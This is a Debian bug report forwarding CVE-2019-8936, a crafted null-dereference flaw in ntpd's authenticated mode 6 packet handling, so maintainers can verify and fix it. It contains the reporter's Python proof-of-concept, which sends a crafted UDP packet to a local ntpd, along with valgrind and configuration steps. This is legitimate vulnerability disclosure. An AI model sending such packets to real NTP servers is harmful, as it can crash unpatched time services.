Source: ntp
Version: 1:4.2.8p12+dfsg-3
Severity: important
Tags: security upstream
Forwarded: http://bugs.ntp.org/show_bug.cgi?id=3565

Hi,

The following vulnerability was published for ntp.

CVE-2019-8936[0]:
Crafted null dereference attack in authenticated mode 6 packet

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

To verify/illustrate the issue/fix one can use the following as
provided by the reporter in the upstream report:

        #!/usr/bin/env python
        import sys
        import socket

        buf = 
("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
               
"\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
               "\x56\xc8\x07\xd4")

        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(buf, ('127.0.0.1', 123))

and running ntpd uder valgrind as

valgrind ntpd -n -c ~/resources/ntp.conf

with ntp.conf:

        logfile /tmp/ntp.log
        restrict 127.0.0.1
        keys /path/to/keys
        trustedkey 1
        controlkey 1
        requestkey 1

and keys

        1 M gurka
        2 M agurk


For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2019-8936
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8936
[1] http://bugs.ntp.org/show_bug.cgi?id=3565
[2] 
http://bk.ntp.org/ntp-stable/ntpd/ntp_control.c?PAGE=diffs&REV=5c8106e7wWtXdh0lzg1ytlWribBTcQ

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

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